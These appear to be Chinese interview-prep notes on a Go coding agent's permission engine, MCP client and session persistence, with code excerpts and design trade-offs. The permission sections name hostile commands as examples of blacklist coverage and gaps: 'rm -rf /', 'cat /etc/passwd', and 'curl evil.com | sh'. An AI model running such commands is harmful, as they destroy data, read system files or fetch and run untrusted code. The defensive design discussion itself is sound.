为什么 deny 优先? 因为 allow 常常写得比较宽(Bash(git *)),而 deny 是例外(Bash(git push --force))。如果 allow 优先,例外就永远不生效。

规则语法(Rule 注释原文):

go
// 匹配语法升级(v2):
//   - "=value"  → 精确匹配(整串相等)
//   - "~regex"  → 正则匹配
//   - "!inner"  → 反向匹配(对内层 Matcher 取反,支持 !=value、!~regex、!glob)
//   - "value"   → glob 通配(缺省类型,向后兼容)

四种 Matcher 实现(matcher.go):matcherExact / matcherGlob / matcherRegex / matcherNot(可嵌套)。编译入口:

go
func CompileMatcher(pattern string, isCommand bool) (Matcher, error) {
	switch pattern[0] {
	case '=': return &matcherExact{value: pattern[1:]}, nil
	case '~': re, err := regexp.Compile(pattern[1:]); ...
	case '!': inner, err := CompileMatcher(pattern[1:], isCommand); return &matcherNot{inner}, nil
	default:  return &matcherGlob{pattern: pattern, isCommand: isCommand}, nil
	}
}

glob 有两套语义(这是容易忽略的细节):

  • 命令串(isCommand=true):* 匹配任意字符序列含空格,** 等价 *;
  • 文件路径(isCommand=false):按 / 分段,* 只在段内匹配,** 跨任意层级。

所以 Bash(git *) 能匹配 git status,而 Write(src/**) 能匹配 src/a/b/c.go。

规则里的工具名用「友好名」:内部名 → 友好名映射

go
bash → Bash, read_file → Read, write_file → Write, edit_file → Edit, glob → Glob, grep → Grep

为什么要有这一层映射? 因为内部工具名跟模型看到的接口是绑定的一一对应更安全。用户的规则应该写在稳定的语义名上,而不是可能变化的内部实现名上。

解析失败的行为:toRuleSet 里非法规则会 fmt.Fprintf(os.Stderr, "rule %q parse failed: %s\n", ...) —— 有声跳过,不阻断启动。注释写了这是刻意的改动:「F4:原本静默跳过,现在有声跳过」。理由:规则写错了必须让人知道,否则用户会以为自己的 deny 生效了,其实没有——这是安全相关的静默失败。

第 ④ 层:模式兜底(engine.go:modeFallback) ​

go
// modeFallback F5 模式兜底矩阵:只产 Allow/Ask,绝不产 Deny。
func modeFallback(mode Mode, cat Category) (Decision, string) {
	// 只读 / bypass 全 Allow
	if cat == CategoryRead || mode == ModeBypass {
		return Allow, ""
	}
	// acceptEdits:文件写 Allow、命令执行 Ask
	if mode == ModeAcceptEdits && cat == CategoryWrite {
		return Allow, ""
	}
	// 其余(default/plan 的 Write/Exec、acceptEdits 的 Exec)→ Ask
	reason := fmt.Sprintf("%s 模式下 %s 类操作需确认", mode.String(), catName(cat))
	return Ask, reason
}

完整矩阵:

模式只读文件写命令执行
DefaultAllowAskAsk
AcceptEditsAllowAllowAsk
PlanAllowAsk(且工具不可见)Ask(且工具不可见)
BypassAllowAllowAllow

「绝不产 Deny」这条不变量的意义:如果你把 Deny 从模式兜底里发出来,那用户就没机会了——弹窗都不弹,直接拒绝。而模式是用户自己选的档位,他只是想让 Agent 更自由或更保守,不是想拒绝某个操作。所以「拒绝」的决策权只留给黑名单(不可协商)和规则(用户显式写的)。

「Plan 模式 Ask」看起来冗余——因为 Plan 模式下 write_file / bash 根本不在工具列表里(ReadOnlyDefinitions() 只导出只读工具),模型看不到它们。代码注释解释了这是防御兜底:

go
ModePlan  // 仅只读工具可见(沿用 ch04);矩阵同 default 作防御兜底

纵深防御的思想:不要假设「模型看不到就不会调」。如果哪天有个 Bug 让 defs 没被正确过滤,模式兜底还能拦住。

第 ⑤ 层:人在回路(agent.go:981-1000 + tui/tui.go) ​

go
func (a *Agent) requestApproval(ctx context.Context, call llm.ToolCall, reason string, ch chan<- Event) (permission.Outcome, bool) {
	respond := make(chan permission.Outcome, 1)     // ← 缓冲 = 1
	req := &ApprovalRequest{
		Name:    call.Name,
		Args:    argPreview(call.Input),
		Reason:  reason,
		Respond: respond,
	}
	if !emit(ctx, ch, Event{Approval: req}) { return 0, false }

	select {
	case o := <-respond: return o, true
	case <-ctx.Done():   return 0, false
	}
}

Respond 为什么缓冲 = 1?(代码注释原文:「缓冲=1:TUI 回传用户选择,agent 单次接收」)

因为 TUI 侧的 commitApproval 是在 UI 线程里同步发的:

go
func (m *Model) commitApproval(outcome permission.Outcome) (tea.Model, tea.Cmd) {
	if m.pending == nil { return m, nil }
	m.pending.Respond <- outcome     // ← 同步阻塞发
	m.pending = nil
	m.state = stateStreaming
	return m, waitForEvent(m.events)
}

如果没有缓冲,这次发送会阻塞 UI 线程直到 agent 读走。虽然 agent 此时正好阻塞在 select 上、理论上立刻能读到,但依赖「另一个 goroutine 恰好在等」是不稳的。缓冲 1 让发送变成非阻塞,UI 永远不会因为这个卡住。同时缓冲 1 而不是更大,保证语义上还是「一次请求一次应答」,不会出现多次决策堆积。

TUI 侧的完整链路(5 个节点):

  1. Agent 判定为 Ask → 构造 ApprovalRequest → emit(Event{Approval: req}) → 阻塞在 select

  2. TUI handleAgentEvent 命中 ev.Approval != nil → 存 m.pending、approveCursor = 0、state = stateApproving → 返回 nil cmd,故意不再读事件流

    go
    	case ev.Approval != nil:
    		m.pending = ev.Approval
    		m.approveCursor = 0
    		m.state = stateApproving
    		return m, nil // 不 waitForEvent,agent 正阻塞等回传

    为什么不再读事件? 因为 agent 已经阻塞了,后面根本没有新事件。如果继续读,会读到 channel 关闭或空等,把状态机搞乱。

  3. 渲染弹窗(view.go:239-285):工具名 + 参数 + 原因 + 三选项菜单

  4. 按键(tui.go:502-527):↑↓/jk 移动光标、enter/space 确认、1/2/3 快捷选择

  5. 回传(commitApproval)→ 切回 stateStreaming → 恢复 waitForEvent

三选一的落地语义:

选项OutcomeAgent 侧行为
允许本次OutcomeAllowOnce执行,不留规则
永久允许OutcomeAllowForeverPersistLocalAllow(call) 写盘,然后执行
拒绝本次OutcomeDenyOnce回灌 "用户拒绝执行:" + reason,IsError = true

「永久允许」写盘的精妙之处(persist.go):

go
// ruleFor 根据一次工具调用生成精确规则(不含通配)。
// 命令串中的 glob 元字符(*, ?, [, ])需转义,防止规则被意外泛化。

比如用户对 bash: go test ./... 选了永久允许,写出来的是:

yaml
permissions:
  allow:
    - "Bash(go test ./...)"      # ← 注意这里不转义,因为 . 不是 glob 元字符

但如果命令是 rm -rf *,* 会被转义成 \*,写成 Bash(rm -rf \*),只匹配字面量 rm -rf *,不会泛化成「允许所有 rm -rf」。

这个设计非常重要:如果不转义,用户点一次「永久允许 rm -rf build/*」,就会被写成「永久允许所有 rm -rf」——这是从「一次授权」变成「无限授权」的安全事故。

去重是幂等的:

go
	// 去重:检查是否已存在
	for _, a := range s.Permissions.Allow {
		if strings.TrimSpace(a) == yamlStr { return nil } // 已存在,幂等
	}

模式切换(TUI 实时切换,无需重启) ​

go
	// Shift+Tab:循环切换权限模式(仅 idle 态生效)
	if msg.String() == "shift+tab" && m.state == stateIdle {
		m.mode = nextMode(m.mode)
		notice := fmt.Sprintf("已切换到 %s 模式", modeLabel(m.mode))
		return m, tea.Println(renderNoticeBlock(notice))
	}
go
func nextMode(m permission.Mode) permission.Mode { return (m + 1) % 4 }  // default→acceptEdits→plan→bypass→default

「无需重启」是怎么实现的:m.mode 只是 Model 里的一个字段,每轮 Run(turnCtx, conv, m.mode) 时作为参数传进去。权限引擎本身不持有当前模式——它是无状态的判定函数。所以切换模式就是改一个字段,下一轮立刻生效。

「仅 idle 生效」是刻意的:

因此运行中的一轮不受切换影响(切换被 m.state == stateIdle 挡住,streaming/approving 时 Shift+Tab 不做任何事)。

为什么? 因为一轮中间改模式会导致同一轮内不同工具用不同权限判定,语义混乱。而且更危险的是:用户可能在弹窗的瞬间按 Shift+Tab 切到 Bypass,试图绕过——如果允许,这就是一个权限提升漏洞。

④ 设计权衡 ​

权衡 1:为什么顺序不可交换? ​

这是整个五层设计最核心的问题,面试官一定会问。逐层说明:

  • 黑名单必须在沙箱之前:黑名单的输入是命令串,沙箱的输入是路径。rm -rf / 里的 / 是一个字符串,沙箱根本不认为它是「文件路径参数」(bash 的参数名是 command 不是 path)。所以顺序不影响功能,但黑名单的逻辑优先级更高——它是「不可协商的底线」。
  • 黑名单必须在规则引擎之前:否则用户写一条 Bash(rm -rf *) 的 allow 规则,就能把 rm -rf / 放行。这是「用户不能把自己搞死」的保护。
  • 黑名单必须在模式之前:Bypass 模式的定义是「全 Allow」,如果黑名单在模式后面,Bypass 就等于关掉了所有安全。所以我明确写了「bypass 也拦」。
  • 沙箱必须在规则引擎之前:如果用户的 allow 规则能绕过沙箱,那沙箱就形同虚设。用户写 Write(/etc/**) 也不应该能写系统文件。

一句话总结:前两层是不可协商的(用户改不了),后三层是可协商的(用户配置决定)。

权衡 2:为什么「模式」只产 Allow/Ask? ​

前面说过,核心是「拒绝的决策权只留给不可协商层和用户显式配置」。再补一个角度:如果模式能产 Deny,用户就没有补救手段。想象一下 Bypass 模式下我还要 Deny 某个操作——用户会觉得「我都切到 Bypass 了为什么还不让做」。而弹窗至少有得选。

权衡 3:Ask 为什么是默认行为而不是 Deny? ​

对 bash 这种命令执行类,Default 模式判 Ask。如果判 Deny 会怎样? Agent 什么命令都跑不了,等于废掉。判 Ask 让用户逐次决策,是「安全」和「可用」的平衡点。

而 AcceptEdits 模式的语义是「我信任你改代码,但我不信任你执行命令」——这是个很合理的中间档,因为代码改动是可 review、可 git 回滚的,而命令执行的副作用(发网络请求、删文件)往往不可逆。

权衡 4:PersistLocalAllow 为什么写「精确规则」而不是「发一条通配规则」? ​

因为授权应该最小化。用户点「永久允许」是授权「这一次这个命令」,不是授权「这一类命令」。而且时机上用户只看到了这一条命令,他无从判断「这一类」有多大。

如果用户想要宽一点的规则,他应该自己编辑配置文件写 Bash(git *)——那是一个深思熟虑的动作,而不是一次点击。

权衡 5:这个设计有什么真实缺陷? ​

已知缺陷(主动说,见 00 文档软肋 2):

  1. 沙箱是参数级的,不是进程级的。它只对文件类工具的 path 参数生效,对 bash 完全不生效。现在靠「bash 默认判 Ask」兜底,但用户一旦给 bash 配了全放行规则或切 Bypass,就只剩黑名单那 10 条正则。
  2. TOCTOU 窗口:检查路径和真正 open 之间有几百微秒。
  3. 黑名单是启发式的、不完备的。cat /etc/passwd、curl evil.com | sh(README 里提到了,但实际黑名单里没有这条)、rm -rf ./build 都不在黑名单里。

面试时的推荐姿势:在讲完五层设计后,主动加一段:

「这个设计我最不满意的地方是沙箱的层次。它现在拦在『参数』这一层——我只能看到工具的结构化参数,看不到 shell 里实际会发生什么。真正正确的做法是把沙箱下沉到『进程』这一层:Linux 上用 seccomp 或者 bubblewrap 做 mount namespace,macOS 上用 sandbox-exec,让 bash 子进程的文件系统视图在操作系统层面就被限制在项目根内。那样才是真正的隔离,而不是靠字符串判断。」

⑤ 备注与坑 ​

坑详情应对
mcp__github__* 通配规则失效extractTarget 没有 MCP 分支,target 恒为空串,glob 对空串返回 false见 00 软肋 3,主动说 + 给修法
黑名单只有 10 条覆盖不到 curl | sh、cat /etc/passwd 等常见风险「黑名单本质是启发式的,我的定位是『防止不可逆的灾难』而不是『覆盖所有风险』。真正的答案还是进程级沙箱。」
沙箱对 bash 无效见上见 00 软肋 2
未知工具归到最严档categorize 的 default 分支返回 CategoryExec(N7 最严)「这是刻意的保守设计:我不认识它,就当它能干坏事。副作用是 MCP 工具在 Default 模式下每次都要弹窗——这对用户是个体验负担,需要用户写 allow 规则来放行。」
规则匹配目标对 MCP 工具恒为空同第一条—
无单测的部分permission 有测试(matcher_test.go 171 行),这块是项目中测试最扎实的模块之一可以放心说「权限模块我有单测」

技术点 4:MCP 协议零配置接入 ​

① 简历原文 ​

MCP 协议零配置接入: stdio + HTTP 双传输支持,配置驱动自动发现,命名空间隔离(mcp<server><tool>),单服务失败隔离无感适配

② 30 秒口述 ​

「MCP 我实现了一个客户端,支持两种传输:stdio ——把 MCP server 作为子进程启动、走标准输入输出;和 Streamable HTTP——连远程端点。 『配置驱动』的意思是:用户在 YAML 里声明 server 列表,启动时我并发连上所有 server、拉取它们的工具清单,然后把每个工具适配成我自己的 Tool 接口注册进统一的注册中心。所以对 Agent 循环来说,MCP 工具和内置工具完全一样——走同一个权限链路、同一个并发模型、同一个执行器,上层零感知。 三个我觉得值得讲的点:命名空间用 mcp__<server>__<工具名> 双下划线分隔,避免多个 server 之间、以及和内置工具之间重名;失败隔离——每个 server 独立 30 秒超时,连不上就 warn 一下跳过,不阻塞启动、不影响其他 server;只读判定严格只信远端声明的 annotations.readOnlyHint,它说只读我才敢并发。」

③ 实现要点 ​

配置加载(internal/mcp/config.go) ​

两层配置 + 完整覆盖:

go
// mergeServers 两层合并:项目级同名 server 完整覆盖用户级。
func mergeServers(user, project map[string]rawServer) map[string]rawServer {
	merged := make(map[string]rawServer, len(user)+len(project))
	for k, v := range user { merged[k] = v }
	for k, v := range project { merged[k] = v }  // 完整覆盖
	return merged
}
层级路径
用户级~/.mewcode/config.yaml
项目级(覆盖)<root>/.mewcode.yaml

注意是「完整覆盖」不是「字段级合并」:项目级同名 server 会整个替换用户级的定义,不会把 env 和 headers 合并起来。这是刻意的简单语义——避免出现「我明明覆盖了但某个字段还是旧的」这种难以排查的行为。

${VAR} 环境变量展开:

go
var varPattern = regexp.MustCompile(`\$\{([A-Za-z_][A-Za-z0-9_]*)\}`)

func expandVars(s string) (string, []string) {
	var undefined []string
	out := varPattern.ReplaceAllStringFunc(s, func(match string) string {
		varName := match[2 : len(match)-1]
		val, ok := os.LookupEnv(varName)
		if !ok { undefined = append(undefined, varName); return "" }
		return val
	})
	return out, undefined
}

为什么这件事重要:README 里的例子是

yaml
env:
  GITHUB_TOKEN: "${GITHUB_TOKEN}"   # 凭据走环境变量,不落盘

配置文件是要提交到 git 的(README 明说「可提交 git」)。如果把 token 明文写进去,就是凭据泄露。用 ${VAR} 之后,配置文件里只有变量名,真实值来自运行环境。

未定义变量的处理:展开为空串 + stderr 告警(collectUndefined 去重后一次性打出)。不阻断——因为一个 server 的变量没设不应该让整个配置加载失败。

校验(validateServer):type 必须是 stdio 或 http;stdio 必须有 command;http 必须有 url。不合法就 warn + 跳过该 server(不是整个配置失败)。

函数签名的一个细节:

go
// - 永不返回 error(签名留 error 仅为未来扩展,当前实现恒为 nil)
func LoadConfig(root string) (Config, error) {

为什么留一个恒为 nil 的 error? 因为调用方 main.go 写的是 mcpCfg, _ := mcp.LoadConfig(root)——忽略错误。保留签名是为了将来真的需要报错时不用改所有调用点。这是个务实的选择,但也可以说是「接口设计不诚实」,被问到可以这么答。

连接管理(internal/mcp/manager.go) ​

go
var (
	connectTimeout = 30 * time.Second   // 包级 var,便于单测改短
	closeDeadline  = 5 * time.Second
)

func NewManager(ctx context.Context, cfg Config, version string) *Manager {
	mgr := &Manager{}
	var wg sync.WaitGroup

	for name, srv := range cfg.Servers {
		wg.Add(1)
		go func(name string, srv ServerConfig) {
			defer wg.Done()
			ctx2, cancel := context.WithTimeout(ctx, connectTimeout)
			defer cancel()

			var transport sdkmcp.Transport
			switch srv.Type {
			case "stdio":
				cmd := exec.CommandContext(ctx2, srv.Command, srv.Args...)
				cmd.Env = mergeOSEnv(srv.Env)
				cmd.Stderr = os.Stderr
				transport = &sdkmcp.CommandTransport{Command: cmd}
			case "http":
				hc := &http.Client{Transport: &headerRoundTripper{base: http.DefaultTransport, headers: srv.Headers}}
				transport = &sdkmcp.StreamableClientTransport{Endpoint: srv.URL, HTTPClient: hc, DisableStandaloneSSE: true}
			}

			client := sdkmcp.NewClient(&sdkmcp.Implementation{Name: "mewcode", Version: version}, nil)
			cs, err := client.Connect(ctx2, transport, nil)
			if err != nil {
				fmt.Fprintf(os.Stderr, "[mcp] warn: connect server %s failed: %v\n", name, err)
				return       // ← 只跳过自己
			}

			lst, err := cs.ListTools(ctx2, nil)
			if err != nil {
				fmt.Fprintf(os.Stderr, "[mcp] warn: list tools for server %s failed: %v\n", name, err)
				_ = cs.Close()   // ← 记得释放连接
				return
			}

			var adapted []tool.Tool
			for _, t := range lst.Tools {
				if mt, ok := adaptTool(name, t, cs); ok { adapted = append(adapted, mt) }
			}

			mgr.mu.Lock()
			mgr.sessions = append(mgr.sessions, &session{name: name, cs: cs})
			mgr.tools = append(mgr.tools, adapted...)
			mgr.mu.Unlock()
		}(name, srv)
	}
	wg.Wait()

	sort.Slice(mgr.tools, func(i, j int) bool { return mgr.tools[i].Name() < mgr.tools[j].Name() })
	return mgr
}

三个要点:

  1. 并发连接。wg + 每个 server 一个 goroutine。N 个 server 的总启动延迟是 max(单个延迟) 而不是 sum。如果串行,10 个 server 各花 2 秒就是 20 秒启动。
  2. 单 server 失败隔离:连不上只 return(跳过自己),wg.Wait() 仍然会正常返回。
  3. connectTimeout 是 var 不是 const,注释说明「便于单测改为短值」。测试里确实用它来跑快速的失败用例。

stdio 的环境变量合并(mergeOSEnv):

go
// mergeOSEnv 合并宿主环境变量与额外 env map(后者覆盖同名键)。

注意这里跟 bash 工具完全不同:bash 工具清空环境变量只留 4 个(防止密钥泄漏给模型生成的命令),而 MCP server 是继承全部宿主环境变量 + 覆盖配置里的——因为 MCP server 是用户自己配置的、可信的进程,它需要完整环境(比如 PATH、语言运行时的环境变量)。

HTTP 的自定义 header(headerRoundTripper):实现 http.RoundTripper 接口,每次请求前克隆 request 并注入 header。用 RoundTripper 而不是在每次调用处手动加 header,是因为 MCP SDK 内部会自己发请求,你没法在调用点插手。

go
func (h *headerRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
	req = req.Clone(req.Context())     // ← 必须克隆,不能改原对象
	for k, v := range h.headers { req.Header.Set(k, v) }
	return h.base.RoundTrip(req)
}

DisableStandaloneSSE: true:Streamable HTTP 传输默认会开一个独立的 SSE 长连接做服务端推送。置 true 表示只用到请求-响应,不要额外长连接——这是为了减少连接数,因为项目里没有用到服务端主动推送的能力。

工具适配(internal/mcp/tool.go) ​

命名空间:

go
fullName := "mcp__" + serverName + "__" + t.Name

双下划线分隔。为什么不用单下划线? 因为 server 名和 tool 名本身都可能含下划线。比如 server my_server + tool get_user,用单下划线会变成 mymy_serverget_user——无法反解。双下划线虽然理论上也可能冲突(tool 名里含 __),但概率极低,且我这里加了字符白名单:

go
var validToolName = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)

注意这个白名单只允许 [A-Za-z0-9_-],不含空白和特殊字符(这些是很多模型 API 对函数名的硬性要求)。校验的是 fullName(含前缀),所以 server 名或 tool 名里含非法字符会导致整个工具被跳过(warn + return nil, false)。

只读判定(严格保守):

go
	// readOnly:严格只信 annotations.readOnlyHint==true
	readOnly := t.Annotations != nil && t.Annotations.ReadOnlyHint

为什么「严格只信」? 三个理由:

  1. readOnly 决定这个工具能不能并发执行——判错的后果是数据竞争;
  2. 它还影响权限判定(只读工具在模式兜底里恒 Allow)——判错的后果是该弹窗的没弹窗;
  3. MCP 是外部进程/远端服务,它的声明不可验证。

所以默认是不可信:没声明 = 不是只读 = 串行 + 走完整权限流程(默认 Ask)。

这个保守选择的体验代价:接入一个 GitHub MCP server,它的工具如果没声明 readOnlyHint,那么在 Default 模式下每个工具调用都要弹窗确认。用户需要写 allow 规则来放行。这是「安全换体验」的一个真实取舍。

执行与结果聚合:

go
func (t *mcpTool) Execute(ctx context.Context, args json.RawMessage) tool.Result {
	ctx2, cancel := context.WithTimeout(ctx, 30*time.Second)
	defer cancel()

	var argMap map[string]any
	if len(args) > 0 {
		if err := json.Unmarshal(args, &argMap); err != nil {
			return tool.Result{Content: fmt.Sprintf("参数解析失败: %v", err), IsError: true}
		}
	}

	res, err := t.cs.CallTool(ctx2, &sdkmcp.CallToolParams{Name: t.remoteName, Arguments: argMap})
	if err != nil {
		return tool.Result{Content: fmt.Sprintf("MCP 工具调用失败: %v", err), IsError: true}
	}

	// 遍历 content,拼接 text 块;非 text 块丢弃(首次告警)
	var sb strings.Builder
	nonTextCount := 0
	for _, c := range res.Content {
		if tc, ok := c.(*sdkmcp.TextContent); ok {
			if sb.Len() > 0 { sb.WriteString("\n") }
			sb.WriteString(tc.Text)
		} else {
			nonTextCount++
			if _, warned := nonTextWarnOnce.LoadOrStore(t.fullName, true); !warned {
				fmt.Fprintf(os.Stderr, "[mcp] warn: tool %s returned non-text content blocks (dropped)\n", t.fullName)
			}
		}
	}
	return tool.Result{Content: sb.String(), IsError: res.IsError}
}

MCP 的 content 是数组,元素可以是 text / image / resource 等多种类型。 我只处理 TextContent,其他丢弃但只告警一次(用 sync.Map.LoadOrStore 保证每个工具名只告警一次,避免刷屏)。

为什么丢弃而不是报错? 因为报错会让整个工具调用失败,而实际上文本部分可能已经足够有用。但也不能静默丢弃——用户会困惑「为什么图片没显示」。所以「丢弃 + 告警一次」是折中。

IsError 直接透传远端的 res.IsError——MCP 协议里 result 有两个维度:协议层错误(err != nil)和业务层错误(res.IsError)。两者都映射到我的 Result.IsError,但内容不同。

关闭(Manager.Close):

go
func (m *Manager) Close() {
	// 并发关闭所有会话
	var wg sync.WaitGroup
	for _, s := range sessions { wg.Add(1); go func(cs){ defer wg.Done(); _ = cs.Close() }(s.cs) }

	done := make(chan struct{})
	go func() { wg.Wait(); close(done) }()

	select {
	case <-done:
	case <-time.After(closeDeadline):   // ← 5s 兜底
	}
}

为什么要 5 秒兜底? 因为 stdio 传输的 server 是子进程。如果某个 server 卡死不响应关闭请求,cs.Close() 会永久阻塞 → Close() 卡住 → 主程序退不出来。兜底超时保证进程一定能退出,代价是可能留下孤儿进程。

一个「不能复制切片」的细节:

go
func (m *Manager) Tools() []tool.Tool {
	m.mu.Lock()
	defer m.mu.Unlock()
	cp := make([]tool.Tool, len(m.tools))
	copy(cp, m.tools)         // ← 返回拷贝防外部修改
	return cp
}

无感适配:MCP 工具和内置工具走同一条路 ​

因为 mcpTool 实现了同一个 tool.Tool 接口:

go
type Tool interface {
	Name() string
	Description() string
	Parameters() map[string]any
	ReadOnly() bool
	Execute(ctx context.Context, args json.RawMessage) Result
}

在主程序的注册流程里(cmd/mewcode/main.go):

go
	reg := tool.NewDefaultRegistry()              // 6 个内置工具
	mcpCfg, _ := mcp.LoadConfig(root)
	mgr := mcp.NewManager(context.Background(), mcpCfg, version)
	defer mgr.Close()
	for _, t := range mgr.Tools() {
		reg.Register(t)                            // ← MCP 工具进同一个注册中心
	}

注册之后完全平等:同一个 Registry.Definitions() 导出给模型、同一个 registry.Execute 执行、同一个 permission.Engine.Check 判定、同一个 executeBatched 并发调度。

④ 设计权衡 ​

权衡 1:为什么用官方 SDK 而不是自己实现 MCP 协议? ​

MCP 协议本身(JSON-RPC 2.0 + 初始化握手 + 传输层)细节不少:stdio 要处理 framing,Streamable HTTP 要处理 session id、SSE 流、重连。自己实现的价值几乎为零,风险却很高。这跟我「入口层用库、核心层手写」的分层原则一致。

权衡 2:为什么命名空间用前缀而不是「加一个 server 字段」? ​

因为工具名是模型的唯一索引。模型看到的工具列表就是一组名字,它调工具时也只能报一个名字。如果不用前缀,两个 server 都提供 search 工具时,模型无法区分。前缀方案把「哪个 server」编码进名字,不需要给协议加新字段——也就不会破坏任何一家 API 的兼容性。

权衡 3:为什么连接是启动时一次性做完,而不是懒加载? ​

启动时做完的收益:工具清单可以一次性全部告诉模型,模型从第一轮就能看到所有可用工具。 代价:启动会等最慢的那个 server(受 30s 上限约束)。如果用户配了 5 个 server 且其中一个网络不通,启动要等 30 秒。

改进方向:可以做成「先渲染 UI,server 在后台连,连上后动态更新工具列表」。但那样需要处理「工具列表在轮次中间变化」的复杂情况——比如某一轮模型看到了 mcp__github__x,下一轮这个工具消失了,历史里就出现了对不存在工具的调用。当前选择保持一致性和简单性。

权衡 4:LoadConfig 永不返回 error,合理吗? ​

不完美,但务实。理由:MCP 是可选能力——用户没配 MCP 是很正常的状态,这时候报错退出是错的。而配置写错了(比如 type 拼错),正确的反应是「跳过这一条并告诉用户」,而不是「整个程序起不来」。

代价:调用方拿到 (cfg, nil),无法从返回值区分「配置完美」和「有一半 server 被跳过了」。信息只能从 stderr 看。更好的设计是返回一个 []Warning,让调用方能决定怎么呈现。

⑤ 备注与坑 ​

坑详情
mcp__server__* 权限通配失效见 00 软肋 3
无测试——不对,有测试mcp 包有测试:config_test.go(472 行)、manager_test.go(190 行)、tool_test.go(369 行)。这是项目里测试最扎实的模块之一,可以放心讲。
MCP 工具默认每次弹窗因为 categorize 对未知工具归 CategoryExec。答法:「这是有意的保守设计。用户的解决方案是写 allow 规则放行,比如 mcp__github__search_repos。」
LoadConfig 恒返回 nil error见权衡 4
非 text content 被丢弃「MCP 支持图片和资源块,我只处理文本。要支持图片得改 llm.Message 支持多模态 content——那是个跨协议层的改动(Anthropic 和 OpenAI 的图片格式也不同),我判断超出当前范围。」

技术点 5:会话持久化与恢复 + 上下文压缩 ​

① 简历原文 ​

会话持久化与恢复: JSONL 追加写实时 fsync;/resume 浏览历史会话,Token 超限自动压缩;30 天过期会话后台清理

② 30 秒口述 ​

「会话我用了 JSONL 追加写,每追加一条就 fsync 一次。 用 JSONL 而不是数据库,主要是三个考虑:崩溃安全——追加写最多丢最后一行,不会破坏已有数据;可观测——tail -f 就能看实时对话,调试很方便;无依赖——不用引入 sqlite。 恢复的时候我从最后一个压缩标记之后开始读,跳过坏行,并且截断孤立的工具调用——就是那种「assistant 请求了工具但结果还没写进去」的残缺结尾,不处理的话下一轮请求会直接 400。 另外启动时会开一个后台 goroutine 清理 30 天以上的旧会话。

至于上下文,我做了两层压缩:第一层是纯本地的,把超大的工具结果落盘、历史里只留预览;第二层才是 LLM 摘要,按九个固定小节产出摘要,再拼上三段恢复信息。」

③ 实现要点 ​

存储层(internal/session/) ​

目录结构:

<root>/.mewcode/sessions/<YYYYMMDD-HHMMSS-xxxx>/
├── conversation.jsonl
└── tool-results/
    └── <tool_use_id>          ← 第一层压缩落盘的工具结果

会话 ID 格式(compact/state.go):

go
// newSessionID 生成会话唯一标识。
// 格式:YYYYMMDD-HHMMSS-xxxx,前半段取本地时间,后半段 4 字符随机十六进制防碰撞。
func newSessionID() string {
	timePart := time.Now().Format("20060102-150405")
	b := make([]byte, 2)                       // 2 字节 = 4 字符十六进制
	if _, err := rand.Read(b); err == nil { hexStr = hex.EncodeToString(b) }
	else { /* crypto/rand 不可用时降级 */ }
	return fmt.Sprintf("%s-%s", timePart, hexStr)
}

为什么把时间编进 ID? 因为清理和排序都要用到时间——直接从目录名解析,不用 stat 每个目录:

go
// ParseSessionTime 从新格式 session ID 中解析出时间戳。
// 新格式前 15 位为 "YYYYMMDD-HHMMSS"。
// 旧格式(如 "<unix_ts>-<hex>")无法解析,返回 error。
func ParseSessionTime(sessionID string) (time.Time, error)

这解释了为什么清理函数要检查 ParseSessionTime 是否报错:「只处理新格式 ID 的目录,旧格式跳过」——这是向后兼容设计,老版本的会话目录不会被误删。

JSONL 写入器(writer.go):

go
type Entry struct {
	Type        string           `json:"type,omitempty"`   // "compact" 或空
	Role        string           `json:"role,omitempty"`
	Content     string           `json:"content,omitempty"`
	ToolCalls   []llm.ToolCall   `json:"tool_calls,omitempty"`
	ToolResults []llm.ToolResult `json:"tool_results,omitempty"`
	Timestamp   int64            `json:"ts"`
	Model       string           `json:"model,omitempty"`  // 仅首条消息
}

func (w *Writer) Append(msg llm.Message, model string, isFirst bool) error {
	// ...构造 entry...
	w.mu.Lock()
	defer w.mu.Unlock()
	if err := w.enc.Encode(entry); err != nil {
		return fmt.Errorf("JSONL 编码失败: %w", err)
	}
	return w.file.Sync()          // ← fsync
}

file.Sync() 就是 fsync(2)。简历里写「实时 fsync」是准确的。

每次写都 fsync 的代价是什么? 每次调用是一个系统调用 + 一次磁盘刷盘,典型耗时 1–10ms(机械盘更慢)。对一个人类交互速率的 Agent 来说完全可以接受(一轮对话几秒钟,多几毫秒无感)。

收益是什么? 终端工具最怕的就是「终端崩了/被 kill 了,对话丢了」。fsync 之后,进程被 kill -9 也只会丢正在写的那一行。

实际是同步写还是异步写? 看 Writer.OnAppend:

go
func (w *Writer) OnAppend(model string) func(llm.Message) {
	isFirst := true
	return func(msg llm.Message) {
		_ = w.Append(msg, model, isFirst)     // ← 同步调用,但忽略错误
		isFirst = false
	}
}

注意这里是同步的——回调里直接写盘。而 Conversation 的调用约定是「回调在锁外调用」:

go
func (c *Conversation) AddAssistant(text string) {
	c.mu.Lock()
	c.messages = append(c.messages, llm.Message{Role: "assistant", Content: text})
	msg := c.messages[len(c.messages)-1]
	c.mu.Unlock()                          // ← 先解锁

	if c.onAppend != nil { c.onAppend(msg) }   // ← 再回调(避免持锁做 IO)
}

这是个重要的并发设计:如果持锁做磁盘 IO,那么任何读 Messages() 的 goroutine 都会卡在磁盘上。解锁后回调,把 IO 的阻塞限制在当前调用方。

错误被忽略了:_ = w.Append(...)。这是有意的——对话能继续比日志写成功重要。但如果磁盘满了,用户不会收到任何提示。这是个可以承认的弱点。

压缩标记:

go
func (w *Writer) WriteCompactMarker() error {
	entry := struct {
		Type      string `json:"type"`
		Timestamp int64  `json:"ts"`
	}{Type: "compact", Timestamp: time.Now().Unix()}
	// ...Encode + Sync
}

恢复时从最后一个标记之后读(load.go):

go
// LoadSession 从 conversation.jsonl 恢复消息列表。
// 从最后一个 compact 标记之后加载,跳过坏行,截断孤立工具调用。
func LoadSession(sessionDir string) ([]llm.Message, error) {
	...
	var entries []Entry
	dec := json.NewDecoder(f)
	for dec.More() {
		var entry Entry
		if err := dec.Decode(&entry); err != nil {
			continue                        // ← 跳过坏行,继续
		}
		if entry.Type == "compact" {
			entries = nil                   // ← 清空,从 compact 之后重新开始
			continue
		}
		entries = append(entries, entry)
	}
	msgs := entriesToMessages(entries)
	msgs = TruncateOrphanedToolCalls(msgs)  // ← 截断孤立工具调用
	return msgs, nil
}

